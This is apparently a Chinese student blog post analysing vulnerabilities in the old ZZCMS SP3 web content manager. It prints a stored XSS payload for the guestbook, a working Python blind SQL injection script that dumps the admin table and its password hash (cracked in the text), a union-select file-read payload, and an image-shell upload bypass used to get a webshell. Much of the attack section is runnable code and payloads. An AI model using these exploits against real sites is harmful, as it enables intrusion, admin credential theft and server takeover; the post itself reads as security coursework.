zzcms SP3 漏洞解析

zzcms SP3 漏洞解析


cms来源:
ZZCMS SP3
URL: www.zzcms.com
作者:壮壮


很老的cms版本,应该没人会用了吧,这里找找简单地漏洞(课程期末作业)

有使用seay扫描器扫描,但误报率高,只能简单的参考,实际还是得自己动手看代码(…)


1.xss储存型漏洞
范围:Book.php留言界面

测试后:
有轻微的参数过滤痕迹,但并不完全,还是能简单的在管理页面执行恶意xss代码

恶意代码js:

<IMG SRC="javascript:alert(1);" ONERROR="alert(1)">

留言界面:
zzcms SP3 漏洞解析_第1张图片
管理界面:
zzcms SP3 漏洞解析_第2张图片
没错,当管理员打开留言管理,会直接触发xss代码,虽然这里只是alert(1)的测试,
但如果是获取cookie的xss代码呢?没错,cookie可以直接登录到后台

2.变量存在异或盲注漏洞
范围:“文章中心”、“产品中心”、“关于我们”

测试:

Art_Show.php?id=0^(length(database())>=4)   //正常
Art_Show.php?id=0^(length(database())>=5)   //报错
//数据库名字为4

脚本盲注就行

import requests
import time

url="http://192.168.241.188/zzcms/Art_Show.php?id="
name=''


for i in range(1,80):
    print(i)
    low=31
    high=127
    mid=(low+high)//2
    while low<high:
        payload = "0^(ascii(substr((select(database())),%d,1))>%d)" % (i, mid)
        #payload = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)"%(i,mid)
        #payload = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='zzcms_admin')),%d,1))>%d)"%(i,mid)
        #payload = "0^(ascii(substr((select(group_concat(name,password,grade))from(zzcms_admin)),%d,1))>%d)"%(i,mid)
        
        r = requests.get(url+payload)
        print(payload)
        if 'cyber' in r.text:   #cyber为文章内容,一旦正常返回,则字符爆破正确
            low = mid+1
        else:
            high=mid
        mid=(low+high)//2
        if(mid==32):
            break
    name=name+chr(mid)
    print (name)
  1. 爆出所使用数据库为:test
  2. 爆出所有的表名为:zzcms_about,zzcms_access,zzcms_admin,
    zzcms_article,zzcms_book,zzcms_botlist,zzc....(脚本在多循环几次,就全部出来了,这里循环了80次)
  3. 你说我对哪张表感兴趣,当然是用户表:zzcms_admin
    爆出的zzcms_admin字段有:id,uid,name,password,grade
  4. 只提取可能有价值的字段值
    爆出的name,password,grade值为:admin,441de0cf505e227b6eb49446d5a69269,1
    MD5加密可不是好习惯,没错,账号admin,密码passwordzzcms,等级1

zzcms SP3 漏洞解析_第3张图片

PS:这里的密码是md5(密码+zzcms),登录时admin和password就能登录

3.后台管理存在文件上传漏洞
范围:管理后台能文件上传的地方

虽然这是拿到后台才能有的操作,但可以是getshell的关键
这个漏洞过于简单,图片马上传抓包改后缀就行
zzcms SP3 漏洞解析_第4张图片
访问http://192.168.241.188/zzcms/upload/2021-12-14/1639493237.php确认存在且能解析
zzcms SP3 漏洞解析_第5张图片
蚁剑连接,直接getshell
zzcms SP3 漏洞解析_第6张图片

4.任意文件读取(sql注入的任意文件读取)
范围:“软件下载”

"软件下载"界面通过downfile.php?id=来寻找文件,并将找到的文件内容复制下来给客户端
downfile.php代码审计:
zzcms SP3 漏洞解析_第7张图片

payload:

downfile.php?id=-1 union select 'index.php'

没错,直接下载根目录下的index.php,甚至其他路径的文件也能读取
zzcms SP3 漏洞解析_第8张图片
5.fck编辑器2.6.4.1(感觉都是漏洞,总之先鸽了)

你可能感兴趣的:(内网渗透,安全,web安全,php)